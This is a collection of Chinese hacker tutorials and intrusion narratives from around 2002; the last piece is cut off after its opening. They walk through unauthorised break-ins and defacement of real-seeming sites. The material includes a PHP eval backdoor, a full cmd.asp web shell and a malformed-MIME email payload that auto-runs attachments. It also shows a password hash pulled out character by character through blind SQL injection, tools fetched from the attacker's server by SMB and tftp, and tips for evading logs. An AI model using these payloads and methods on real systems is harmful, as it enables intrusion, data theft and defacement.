php拿下来看了一下，最关键的代码是这样的：

else if (file_exists("upload/".$file_name))
$upload_error="已经存在一个叫$file_name 的文件。";
else if (strtolower(substr($file_name,-4))==".php")
$upload_error="不能上传.php 文件。";
else if (preg_match("/\//i",$file_name)) $upload_error="你在干什么？";
else if (!copy($file,"upload/".$file_name)) $upload_error="原因不明。";

看起来判断很严密，因为在windows文件系统里面，最后一个字符是不能为空格的（相
应的材料可以在linux处理vfat的那个模块里面查到）。但是作者没有用
is_upload_file来判断，这个漏洞很久远了，我试了下面的命令：
upload.php?file_name=a.txt&file=c:/autoexec.bat
autoexec.bat就可以用浏览器看见了。我觉得不知足，上传了一个instruction.txt的
文件，文件内容如下：
<?php error_reporting (E_ALL ^ E_NOTICE); eval(StripSlashes($cmd)); ?>
这个文件可以用来执行任何的php命令。我用了这样一个命令：
upload.php?file_name=cmd.php%20&file="f:/htdocs/weed/upload/instruction.txt
作者提示了上传以后文件的位置，所以我很容易知道我传上去的instruction.txt的绝
对路径。注意这里我在cmd.php后面加了一个空格，骗过了作者的php脚本，copy函数
忠实的为我服务了。
这样cmd.php就已经在服务器上了。为了用POST从而不在他们服务器的log里面留下痕
迹，我又在本地写了这样一个html（事实上上面的upload.php的攻击也应该用POST）：

<form method="post" action="http://xxx/weed/upload/cmd.php">
<input name="cmd" type="input" style="{width:400}" />
<input type="submit" value="go" />
</form>

然后就是直接发命令了，我先上传了一个我自己的首页，然后依次在我自己的html的文
本框里面输入以下内容再post上去：
rename("f:/htdocs/index.php", "f:/htdocs/index.old.php");
rename("f:/htdocs/weed/upload/mypage.html", "f:/htdocs/index.html");
好了，首页已经被改掉了。然后就是很老套了，服务器上有了后门，操作就容易了：
system("dir c:\\");
这个列出了服务器上c:\下面的文件
system("type f:\\htdocs\\weed\\forum.php");
这个列出了论坛的一个PHP的源码。

忠告：做大站点很难保证代码没有一点问题，但是要注意的是，即使是很小的一个漏
洞，也可能可以毁了整个站点。


畸形MIME攻击

申明：本文代有攻击性，请对自己的行为负责！使用本文所提供的方法造成的后果也于本人无关！

1.制作eml文件，打开outlook express-新建邮件，加入一个附件，就是你想要运行的东东。列如，command.exe
或者是.......（不要太黑了啊，比如什么王XX炸弹），保存为一个eml文件！
2. 用ultraEdit-32打开这个eml文件，找到这个字段：filename=xxx.exe，xxx就是你刚刚加入的附件名字，以下就是
附件的BASE64编码，只保留BASE64编码，其余的全部删除，然后替换成以下代码：

Content-Type: multipart/related;boundary="1"

--1
Content-Type: multipart/alternative;boundary="2"
--2
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>
--1
Content-Type: audio/x-wav;name="xxx.exe"
Content-Transfer-Encoding: base64
Content-ID: <THE-CID>

其中name="xxx.exe"，要修改成，你自己添加的附件名字！

保存hack.eml，ok！（如果你使用web桌面，一用鼠标点中就会中哦~！）

3.嵌入html页面，新建一个html文件，代码如下：

<html>
<head>
</head>
<body>
<p><img src="test.JPG" width="400" height="500"></p>
<iframe src="hack.eml" width="0" height="0" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no">
</iframe>
</body>
</html>
然后，另存为一个www.jpg文件！找个好看的图形文件，改名为：test.jpg。完成！
文件清单：
hack.eml-加工过的eml文件
www.jpg-其实是个html文件
test.jpg-要显示的图片文件

然后去申请一个免费主页空间（现在大部分的免费空间都好像暂停注册了，5555555~~~~~~~~~~~）

上传，用ie访问http://xx/www.jpg
就会看到效果了*^_^*
4.也可以执行vbs和dos命令

Content-Type: multipart/related;boundary="1"

--1
Content-Type: multipart/alternative;boundary="2"
--2
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>
--1
Content-Type: audio/x-wav;name="xxx.exe"
Content-ID: <THE-CID>

@winver
@start http://sss444.126.com
------------------------------------------------------------------------------------------------
附加信息：
微软安全公告（MS-01-020），畸形MIME头可导致ie在没有询问用户的情况下自动执行mail中的附件！
发布时间：2001年3月29日
受影响的系统：
windows\95\98\me\nt\2k
ie 5.0 5.1 5.5 6.0
且安装了outlook express
winxp未测试！

解决办法：
1.删除系统中的outlook express（测试环境，win98，ie5.0，未安装补丁）测试通过！
2.打补丁，相关地址：http://www.microsoft.com/windows/ie/download/critical/q290108/default.asp 或使用windows-update在线自动更新！
3.ie6.0补丁地址：

测试页面：http://sss444.51.net/www.jpg （执行了以下命令winver;start http://sss444.126.com)

沉睡不醒，于2002-3-16 夜！
e-mail:luandao@21cn.net
http://sss444.126.com


利用网站错误配置获得完全控制

by wawa 2002/01/04
http://haowawa.126.com

其实现在网上安全站点和学黑的站点太多了,参与进来的人
也越来越多,这些促使了许多网站和个人增强安全意识,是件大好事.
所以诸如ipc$弱口令,printer,IDQ远程溢出,UNICODE,3389输入法等漏洞
已经相比之下少了很多.这里我们来聊聊如何不用以上的漏洞,
来入侵一台主机,加深一下对安全的理解.

某站点IP 61.61.13.13

开始:扫描端口,发现开放:80,135,139,1025

尝试获取IIS信息:
c:\tools>telnet 61.61.13.13 80
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Thu, 03 Jan 2002 19:26:59 GMT
Content-Type: text/html
Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is incorrect. </body>
</html>
遗失对主机的连接。
C:\tools>
//是IIS5,综合以上信息基本判定为win2000服务器

尝试获取用户列表:
C:\tools>letmein \\61.61.13.13 -all -d
stating connecting to server ......
//失败!

尝试扫描iis cgi漏洞
略.
//做了安全配置,没有发现可利用之漏洞

接着开始浏览该站主页,
主页 http://61.61.13.13/index.htm
该网站很简单,主页采用html,没有使用ASP
论坛 http://61.61.13.13/bbs/default.asp
发现该站点有一ASP论坛,论坛为快乐论坛系统(以下均隐去真名)功能较多,共享程序
猜:综合端口扫描结果分析,此论坛应为ASP+ACCESS构建,因为在端口
扫描中没有发现诸如1433 3306等端口.(当然不是绝对的)

现在我们要从论坛入手了.
怎么入手呢?
可能有些同志马上就会开始测试%81,Translate:f.....
或猜文件名下载数据库,
但我觉得在不了解前就先不要盲目的碰.
现在开始在网上找这个论坛的程序下载
靠,好多地方都没有,
再搜...半小时后找到并下载.
呵呵~果然是用access
在自己的机器上装好此论坛,好好研究一下
发现:数据库名是fuck.mdb,在/data下,呵呵~
论坛有上传功能,需要设置,管理员登陆程序是poweruser_in.asp
差不多了,可以看看运气如何了.
http://61.61.13.13/bbs/data/fuck.mdb
晕倒!竟然没改,可以下载,
4M多,一会就完了,拿access2000或myadmin.asp打开数据库
顺利拿到论坛管理帐号:play/1314520
再看看运气,会不会论坛帐户密码和系统的一样:
net use \\61.61.13.13\ipc$ "1314520" /user:"play"
net use \\61.61.13.13\ipc$ "1314520" /user:"administrator"
//运气不好,都失败.

现在登陆论坛管理页,输入用户名及密码登陆论坛管理,
熟练的找到上传设置(为什么会熟练呢?因为已经了解)
将允许上传的文件类型中加上.asp
知道要干什么了吧?对,上传个ASP小程序(在浏览器中得到一个命令条,输入命令后在浏览器中返回结果)
上传cmd.asp到/upload下,好快,才1K多点,
好喽~~,把刚才允许上传的文件类型中的.ASP再删掉,接着退出.
在浏览器中:
http://61.61.13.13/bbs/upload/cmd.asp
出来了,呵呵~,收集点信息先:
dir c:\ d:\ e:\
net user
net start
net view
netstat -an
arp -a
...... //呵呵~~了解的差不多了
对了,试试at命令:
AT
拒绝访问。
倒,权限实在小的可怜啊!现在是需要提升权限了,
那就要上传文件,又到论坛里传???不用了,
虽然权限小,但还是有两种快捷的方法上传文件
1. net use \\myIP\c$ "mypass" /user:"myname"
2. tftp -i myIP get filename
明白了吧?我选第一种方法上传文件
先建立连接: net use \\myIP\c$ "mypass" /user:"myname" 命令成功完成
现在是不能直接copy文件到当前目录的,
因为当前默认路径是\winnt\system32,我们的权限小,这个目录我们是没有权限写的.
(具体中,你可以使用cacls命令查看对文件的权限)
那就建个目录先吧,建到d:\downloads下吧,那个目录我们有权限写:
md d:\downloads\winzip32 //呵呵~这名字不错.
先COPY个winshell.exe吧,开个telnet端口,命令行下总比在浏览器里方便啊.
copy \\myIP\c$\tools\winshell.exe d:\downloads\winzip32 已复制一个文件
启动它 d:\downloads\winzip32\winshell.exe 浏览器窗口会停好久,
不用等的,程序已经启动了,点停止,接着,
断开共享连接: net use \\myIP\c$ /del 完成

离开浏览器,打开命令行窗口
telnet 61.61.13.13 5277
WinShell v2.0 by janker@peckerland.com - '!' to end, 'Enter' to shell...
* d:\downloads\winzip32\winshell.exe
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.
c:\winnt\system32>
//成功得到一个shell

我们现在的权限很小,许多目录都不能访问或写,所以我们要想办法提高权限,
(个人认为如果是FAT32分区的话,可能会好办些,但NTFS,太麻烦)
这一步比较难,我试了很多方法都不成功.
比如:
使用netdde.exe pipeupadmin.exe 不行
上传了冰河6.0J,可以连接,但权限依然很小
而且你的木马和后门程序在对方重起后就不能用了
原因可能是权限小,无法创建服务或修改注册表,来实现开机自动启动.
在试验中,唯一觉得可行的是这样:(我运气!!!实际中我很少成功)
1.上传idq.dll到对方WEB目录里的可执行目录
2.用ispc 61.6.13.13/XXXX/idq.dll 连接上,得到system权限
3.或单独运行idq.dll,获得一个管理员组的用户"iisuser" 密码:"abcd1234"
http://61.61.13.13/XXXX/idq.dll
There will add a Administrators User "iisuser",Its Password is "abcd1234".If you want to enter cmd.exe shell,please use ispc.exe.
但这样一样存在问题,这个可执行的目录必须是"脚本和可执行程序"的配置
单单是"纯脚本"不行的.
不知道谁还有更好的成功办法和思路.

以上不难看出管理员的配置错误:
1.安装BBS后对数据库文件没有更改文件名或后缀
2.没有禁止或更改对FileSystemObject对象的调用
3.WEB目录没有禁止对"everyone"的完全控制
4.对没有必要使用的WEB目录使用了"脚本和可执行程序"的配置
可喜的是犯这些错误的人是越来越少了!这样也促使我们可以学习新的入侵方法.

个人理解,难免有错,请您指正.


某站点CGI漏洞的分析与利用

作者：周星星

注：本文原发于绿盟科技论坛，原名为"关于我和刘思平发现的xx（www.xxxxxxx.com）的cgi漏洞"。

(注意：出于对mark的尊重，我把一些信息用xx代替了。在公布此文章的时候，xx的cgi漏洞可能已经修正，所以文章中的内容无法证实，希望看的人主要看看原理，在自己的程序中多注意）

一 原理

sqlhacking，我想大家都知道，就是web应用程序如果不对用户提交的数据做过滤，直接应用到sql语句中提交给后台数据库，这样很容易被不良用心的人利用，提交特殊的参数，构造sql语句，获得数据库中的敏感信息，包括：数据库用户的帐号、口令、安全资料、甚至于web维护人员的口令，或者提升权限，直接获得操作系统system权限（mssql).

对于www.xxxxxxx.com有多处存在此类问题，我找到一处比较有典型代表，如下链接：

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345
^^^^^
这个链接是得到用户的资料，12345就是要查询的xx的ID，也就是数据库里的userid字段 :)
如果我们提交这个链接，大家看看会有什么结果

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
password='1234'

~~~~~~~~~~~~~~~~~~~~~~~~~
请看cgi程序use_show_info返回什么

“错误: Fail To Execute SQL: Unknown column 'password' in 'where clause' ”

这种调试信息本该只用到测试的时候显示给程序员调试用的，但目前清清楚楚显示给我们.cgi程序把我们提交的内容12345 and password='1234'全部加到sql语句中送给了mysql操作，当然出错了，因为操作的表里没有password这个字段。我猜想这条sql语句可能是这样的：select xxx,xxx,xxx,xxx from usertable where userid= %s等加入我们提交的内容后，真正送给mysql的sql语句就变成：

select xxx,xxx,xxx,xxx from usertable where userid= 12345 and password='1234'
^^^^^^^^^^^^^^^^^^^^^^^^^^

看，当然会出错。但我们如何利用这点web应用程序的漏洞呢？

二 如何得到xx用户口令加密后的字段长度

如果我们知道存放口令的字段名后，这条sql语句就决不会显示上面的出错信息，最多显示数据库找不到数据，和数据库出错等等（请注意：我们一定要思考为什么web应用程序会给我们这样不同的出错信息，在后面我们都要通过出错信息的不同来判断我们的操作是否正确）

到了此处我试了多个链接，如：
12345 and password='1234'
12345 and passwd='1234'
12345 and pass='1234'
12345 and PASS='1234'
.....
都显示没有次字段名的错误，所以仍然没有猜到正确的口令数据库中的字段名。但我绝对确信口令的字段一定同xx号字段（userid）在一个数据表(usertable)里，因为没有人会把用户id和口令passwd放到不同的表里，这些是需要经常检索的数据。

在我无法继续的时候，刘思平给了我另外一个www.xxxxxxx.com的很致命的cgi漏洞这个漏洞是cgi居然没有执行就被直接下载到客户端，里面清清楚楚显示了数据库里的众多重要的信息，如数据表名，字段名，sql语句等等。通过这个问题，我找到了我感兴趣的东西用户信息表名usertable,xx号码字段名userid, xx口令字段名passwordfield，这就足够了：）

好，现在我们提交这个链接：

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield='1234'

~~~~~~~~~~~~~~~~~~~~~~~~
真好，不再显示找不到字段名的出错信息，而是显示“错误: 数据库错误 ” 这样的出错信息。

“错误: 数据库错误 ” 这条信息我考虑可能是cgi在发现数据库没有检索到任何数据后显示的出错信息，当然也可能有其它原因，我们也无法知道这个cgi程序到底是如何工作的。

但总可以知道，我们确实已经可以接触到passwordfield这个字段了。

那我们看看这个字段有多长，用如下几个链接

1) http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
length(passwordfield)<32

~~~~~~~~~~~~~~~~~~~~~~~~~~~
2) http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
length(passwordfield)=32

~~~~~~~~~~~~~~~~~~~~~~~~~~~
3) http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
length(passwordfield)>32

~~~~~~~~~~~~~~~~~~~~~~~~~~~
这3个链接1,3都返回“错误: 数据库错误 ” 错误信息，只有2返回了真正真确的12345的用户资料，可见只有2构造的sql语句返回了一条数据，其它都因为 and length(passwo rdfield) 的条件不为真而没有返回数据。

所以可以确认字段passwordfield的长度是32位。

这些都是我们根具我们的输入得到的结果而猜测cgi的工作流程，虽说是猜测，但是有依据的。

显然xx的口令再存放到数据库前已经经过加密。

三 如何得到xx口令passwordfield的加密串

自然利用以上的链接就够用了。如下：

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='f' （出错）
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e' （正确） 得到1位 e

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e2' （出错）
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e1' （正确） 得到2位 e1

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e18' （出错）
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e17' （正确） 得到3位 e17

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e178' （出错）
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e177' （正确） 得到4位 e177

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e177b' （出错）
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e177a' （正确） 得到5位 e177a

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e177a3' （出错）
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e177a2' （正确） 得到6位 e177a2
.....
.....
.....
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e177a262d03c87a6e76' （出错）
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e177a262d03c87a6e75' （正确） 得到19位“e177a262d03c87a6e75”

就这样最后把32位的字段内容都得到了。
似乎有点累，我们可以写一个程序代我们测试。

而且，还有个技巧：为了防止网管员检查weblog的时候看到这么多奇怪的输入，我们可以将get的参数改成post参数，这样weblog里面就会显示http://search.xxxxxxx.com/cgi-bin/search1
method post的记录，不会记录我们提交的测试内容，这样他老人家也不会轻易发现 :)

四 尾声

数据库mysql对于跨表的查询支持的不好，如果是oracle,db2,mssql等数据库就不用如此费时，跨表查询直接得到申请密码保护的数据内容就够了，我想不至于他们对这些内容也做了加密。

写这篇文章主要是提醒web开发人员需要注意的一些安全问题，当然解决方法很简单：

（1）过滤应用程序中用户提交数据的特殊字符
（2）数据库用户权限的管理和分配（如：读权限，读敏感表权限，写权限，写敏感表权限等等）


入侵Win2K Server全过程

· ·eyas··
    某天晚上在IRC的时候，一个老朋友说帮他看看他的新主页的安全性，然后给出URL是abc.target.net,我一看觉得挺眼熟的，target.net公司里面的CEO，人事部经理，网管我都认识的，前段时间还差点去了那里做网管呢，呵呵，那就看看他们的服务器做的如何吧。

    随后用nmap扫描了一下abc.target.net，发现开的端口挺多的，看来没有安装防火墙或做TCP/IP过滤。从IIS版本判断是Windows 2000的服务器。IIS没什么好利用的，一看开了3306端口，是mysql的，就用我的mysql客户端尝试连接了一下，root的密码竟然为空，后来就觉得没有多大意思，于是把目标转到www.target.net，他们的主站，哈哈。

    Ok!先用nmap扫描一下，扫描结果如下：
    25/tcp open smtp
    53/tcp open domain
    80/tcp open http
    110/tcp open pop-3
    389/tcp open ldap
    1002/tcp open unknown
    3306/tcp open mysql

    然后从IIS版本判断目标是windows 2000服务器。从开放的端口来看，它要么是安装了防火墙，要么是做了TCP/IP过滤，呵呵，比abc.target.net有意思多了。从25和110端口返回的数据来看，他们用的邮件服务器是IMail 6.04，没什么可利用的。IIS上面网管做了安全配置，一些默认的CGI漏洞也没有，这也没什么好利用的。只剩下最后一个端口了，习惯性的用我的mysql客户端连接试试：

    F:\cmd〉mysql -u root -h http://www.target.net/
    Welcome to the MySQL monitor. Commands end with ; or \g.
    Your MySQL connection id is 3038 to server version: 3.23.21-beta
    Type 'help;' or '\h' for help. Type '\c' to clear the buffer
    mysql〉

    呵呵，不好意思，看来网管没有给mysql帐号root设置一个密码，是默认的空密码，那么我们就可以利用这个漏洞来做点什么了。如果是MS-SQL数据库的话就好办啦，直接可以用xp_cmdshell来运行系统命令，但是可惜的是mysql没有类似MS-SQL那样的扩展存储过程。

    现在我们可以利用这个漏洞来做三件事情：

〈1〉搜索mysql数据库里面的内容，看能不能找出一些有用的敏感信息，我找了一会儿就不想找了，呵呵

〈2〉读取服务器上的任何文件，当然前提是知道文件的物理路径

〈3〉以启动mysql服务用户的权限往服务器上写文件，前提是这个文件要不存在的，就是说不能覆盖文件

    如果我们知道IIS主目录的物理路径的话,我们就可以往上面写一个ASP上去，然后通过IE来执行系统命令。怎么得到IIS目录的物理路径呢？天知道！

    没办法，猜吧。。。。。。先在mysql默认数据库test中建一个表tmp，这个表只有一个字段str,类型为TEXT,

    mysql〉 use test;create table tmp（str TEXT）;
    Database changed
    Query OK, 0 rows affected （0.05 sec）

    然后凭着自己做网管的直觉，开始猜测IIS主目录的物理路径，c:\inetpub\wwwroot，c:\www，c:\wwwroot，c:\inetpub\web,d:\web，d:\wwwroot，都不对，55555。大概猜测到第10次，我的mysql客户端回显信息如下：

mysql〉 load data infile "d:\\www\\gb\\about\\about.htm" into table tmp;
Query OK, 235 rows affected （0.05 sec）
Records: 235 Deleted: 0 Skipped: 0 Warnings: 0

    哈哈哈，猜中了，IIS主目录的物理路径是d:\www，因为上面的文件的虚拟路径是http://www.target.net/gb/about/about.htm，看来我得到一个shell了，呵呵。

    接下来我们就可以往d:\www\gb\about里面写一个ASP文件进去，然后通过http://www.target.net/gb/about/cmd.asp来执行系统命令了。然后在网上找来一个现成的cmd.asp，懒的自己去写了：）。Cmd.asp如下：
-------------------------------cmd.asp----------------------------------------

〈% Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject（""WSCRIPT.SHELL""）
Set oScriptNet = Server.CreateObject（""WSCRIPT.NETWORK""）
Set oFileSys = Server.CreateObject（""Scripting.FileSystemObject""）
szCMD = Request.Form（"".CMD""）
If （szCMD 〈〉 """"） Then
szTempFile = ""C:\" & oFileSys.GetTempName（）
Call oScript.Run （""cmd.exe /c "" & szCMD & "" 〉 "" & szTempFile, 0, True）
Set oFile = oFileSys.OpenTextFile （szTempFile, 1, False, 0）
End If %〉
〈HTML〉〈BODY〉〈FORM action=""〈%= Request.ServerVariables（""URL""） %〉"" method=""POST""〉
〈input type=text name="".CMD"" size=45 value=""〈%= szCMD %〉""〉〈input type=submit value=""Run""〉〈/FORM〉〈PRE〉
〈% If （IsObject（oFile）） Then
On Error Resume Next
Response.Write Server.HTMLEncode（oFile.ReadAll）
oFile.Close
Call oFileSys.DeleteFile（szTempFile, True）
End If%〉
〈/BODY〉〈/HTML〉

----------------------------end of cmd.asp-----------------------------------

    由于往mysql数据库中插入数据的时候，会过滤特殊字符什么的，例如双引号之类的，特别麻烦。各位留意没有，上面的ASP语句中，都是两个双引号一起的，这样才能写进去，原来是一个双引号的。然后我在数据库中再建一个表：

mysql〉 use test;create table cmd（str TEXT）;
Database changed
Query OK, 0 rows affected （0.05 sec）

    然后用如下语句，一句一句把上面的ASP写进去:

mysql〉 insert into cmd values（"一行一行的asp代码，呵呵"）;

    为什么不全部一起写进去呢？呵呵，换行后，一会儿导出的文件就会有特殊字符了，asp就不能正常运行了，只能辛苦点一行一行写了。然后把asp文件导到服务器上：

mysql〉select * from cmd into outfile "d:\\www\\gb\\abou\\cmd.asp";

    然后把我们刚才建的表都删除掉：

mysql〉 use test; drop table tmp; drop table cmd;

    ok!我们得到一个shell了，虽然权限不高，但毕竟已经向取得admin权限迈出一大步了，不是吗，呵呵。做这个asp文件可花了我不少时间哦。现在我们利用这个shell来收集系统信息，尝试取得admin权限。

〈1〉先看一下系统文件权限设置如何：
c:\ Everyone:（OI）（CI）F
d:\ \xxx:（OI）（CI）（DENY）（特殊访问:）
DELETE
READ_CONTROL
WRITE_DAC
WRITE_OWNER
STANDARD_RIGHTS_REQUIRED
FILE_READ_DATA
FILE_WRITE_DATA
FILE_APPEND_DATA
FILE_READ_EA
FILE_WRITE_EA
FILE_EXECUTE
FILE_DELETE_CHILD
FILE_READ_ATTRIBUTES
FILE_WRITE_ATTRIBUTES

Everyone:（OI）（CI）F

    看来我们现在就可以读写硬盘上的任何文件了，现在就可以改他的首页了，但这样做没意思，对不对，我们的目标是取得admin权限，呵呵。
〈2〉然后搜索一下硬盘上都有些什么文件：

c:\Program Files 的目录下有两个比较有意思的文件，

2000-12-19 13:10 　Serv-U
2001-01-20 22:43 绿色警戒

把Serv-U里面的用户和密码读出来看看后，没有什么用处，然后进入绿色警戒目录看看，呵呵，除了log外，什么都没有，呵呵。

〈3〉再看看都有哪些用户：

Guest IUSR_SERVER_1 IUSR_SERVER-2
IWAM_SERVER_1 IWAM_SERVER-2 ceo[他们CEO的帐号J]
TsInternetUser

    管理员有ceo 和target\Domain Admins，看来这台机器是他们域中的一台服务器。开始本来想给ceo下一个套，在他的启动目录里放一个程序，但后来看到这个帐号已经几个月没登陆了，就放弃了。

〈4〉看看启动了那些服务，这几个比较有意思, 看来都是默认的：

Task Scheduler
Simple Mail Transport Protocol （SMTP）
Task Scheduler

〈5〉看看网络状况，这几个比较有意思：

TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
TCP 0.0.0.0:119 0.0.0.0:0 LISTENING
TCP 192.168.1.3:3389 0.0.0.0:0 LISTENING

    看来有TermService，不过在网卡上做了TCP/IP过滤，只对内网开放，那么我们就来

〈6〉看看网卡设置信息：

Ethernet adapter 本地连接:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Realtek RTL8139（A） PCI Fast Ethernet Adapter
Physical Address. . . . . . . . . : 00-E0-4C-68-C4-B2
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 192.168.1.3
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
DNS Servers . . . . . . . . . . . :
Ethernet adapter 本地连接 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Realtek RTL8139（A） PCI Fast Ethernet Adapter#2
Physical Address. . . . . . . . . : 00-E0-4C-68-B8-FC
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . :xxx
Subnet Mask . . . . . . . . . . . :
Default Gateway . . . . . . . . . :

    经过上面的一些步骤，对这台服务器的设置情况就有了一个大概的了解。如何取得admin权限？netdde?pipeupadmin?呵呵，无法利用，没有可利用的可以登陆的用户。下套？等到什么时候，呵呵。

    Okok!让我们来看看这个系统都打了些什么补丁。怎么查看？呵呵，打了补丁后，信息都会存贮在注册表中，查询注册表中的这个键值就行了�"HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix"，这样的话，我们得上传一个reg.exe[M$ Resource Kit中的命令行注册表编辑器]到服务器里面，我们才能操作他的注册表。开始我想用先写一个ftp脚本，然后ftp -s:cmd.txt让他到我的服务器来下载，但结果失败了，后来才想起他做了TCP/IP过滤，5555，我记性真不好。怎么办呢？有办法，用tftp来传输。我先在我的服务器上安装了一个Cisco TFTP Server，然后在目标机器上运行tftp -I http://www.eyas.org/ GET reg.exe，呵呵，传输过去咯。然后运行
REG QUERY "HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix"

    返回数据如下：
Listing of [Software\Microsoft\Windows NT\CurrentVersion\hotfix]

[Q147222]==〉这个不知道是什么东西，好象默认2k机器上都有
[Q269862]==〉Q269862_W2K_SP2_x86_CN.EXE==〉Microsoft IIS Unicode解码目录遍历漏洞!
[Q277873]==〉Q277873_W2K_sp2_x86_CN.EXE==〉Microsoft IIS CGI文件名检查漏洞!

    呵呵，==〉和后面的说明是我加上去的，不是注册表中的。看来管理员不太勤快啊，只打了两个补丁。

    哈哈！到了这一步，大家想到怎么取得admin权限了吗？呵呵，你一定也想到了，他的机器开了TermService服务，但windows2000登陆验证可被绕过的漏洞没有安装补丁，此补丁为Q270676_W2K_SP2_x86_CN.EXE。由此看来，管理员只是删除了帮助法文件，而没有打补丁。用dir c:\winnt\help\win*验证一下，果然没有熟悉的输入法帮助文件。敌人没有输入法，我们帮他造，hoho~~别忘了我们可以往任何地方写文件哦。

    嘻嘻，咱们也别高兴的太早了，别忘了他的机器做了TCP/IP过滤哦，我们是没有办法连接到他的3389端口的。不要着急，不要着急，让我们先来看看他的TCP/IP过滤的设置情况。怎么看呢？老办法，查看注册表里面的键值啦。用刚才的reg.exe查询

〈1〉reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces"
Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces]
[{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}]
[{612A3142-DB85-4D4E-8028-81A9EB4D6A51}]

〈2〉reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}"
Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}]
MULTI_SZ IPAddress ;
MULTI_SZ TCPAllowedPorts 25;53;80;110;3306;
MULTI_SZ UDPAllowedPorts 0;
MULTI_SZ RawIPAllowedProtocols 0;

〈3〉reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{612A3142-DB85-4D4E-8028-81A9EB4D6A51}"
Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{612A3142-DB85-4D4E-8028-81A9EB4D6A51}]
MULTI_SZ IPAddress 192.168.1.3;
MULTI_SZ TCPAllowedPorts 0;
MULTI_SZ UDPAllowedPorts 0;
MULTI_SZ RawIPAllowedProtocols 0;

    篇幅关系，我过滤了一些输出。第二次查询的是外网网卡，我们可以得知只开放了TCP 25，53，80，110，3306，UDP全部，IP协议全部。第三次查询的是内网网卡，没有任何限制。
现在我们可以把输入法帮助文件上传到他的c:\winnt\help目录下去，然后如果能连接到他的3389端口的话，我们就可以得到admin权限了。问题的关键是外网网卡做了TCP/IP限制。55555，怎么办呢？如何突破？有办法！我们可以利用socket转发和反弹端口技术，照样可以连接到敌人的TermService！

具体过程如下：

〈1〉在我的另一台服务器www.eyas2.org[我称他为AgentMaster]上运行一个程序，监听3389端口[等待我的TermClient去连接]，监听11111端口[等待www.target.net来连接]，当然了，第2个端口可以随便选，第1个端口选其他的话，就要相应的修改TermClient，比较麻烦

〈2〉在www.target.net[我称他为AgentSlave]运行另外一个程序， 先连接到www.eyas2.org:11111，再连接到192.168.1.3:3389[敌人服务器内网的IP]

〈3〉 我的TermClient连接到www.eyas2.org:3389，这样，数据通道就全部建立好了。接下来，两个程序就忠实的为我们转发数据了。
注意：www.eyas2.org和www.eyas.org可以为同一台服务器，但要保证www.target.net能connect上你的服务器。192.168.1.3也可以换为他内网的任何一个IP。这样，当我用TermClient连接到www.eyas2.org的时候，其实是连接到www.target.net。当熟悉的登陆界面出现在我面前，我熟练的调出输入法，取得admin权限，呵呵，心里还有那么一点点成就感！

    关于〈利用socket转发和反弹端口技术突破防火墙进入内〉的详细说明和程序原代码解读请参见我另一篇文章。

    简要的回顾一下：发现mysql漏洞==〉凭直觉猜中IIS物理路径==〉写一个cmd.asp文件上去得到一个shell==〉利用系统配置错误取得admin权限接下来要做的事情，就是把漏洞通知他们的网管了[我可不敢直接告诉他们CEO，呵呵]，本来想在那机器上装个sniff什么的，再用来做跳板进一步尝试入侵他的内网，但


我是如何进入某某校园网的

当版主也快一个月了,很早就想写这篇文章了，但是偷懒不想写，人懒就是没办法!
寒假的一天晚上我QQ上的一位好友象我哭诉说他期末考试挂了三门，最后开玩笑的对我说，你是学计算机的，能不能帮我在数据库里面改改分数呀！我说我可没有这个本事，即使有，我也不会干的，这种事情可要犯罪的，而且说实话我至今也没有做过国内的网站!
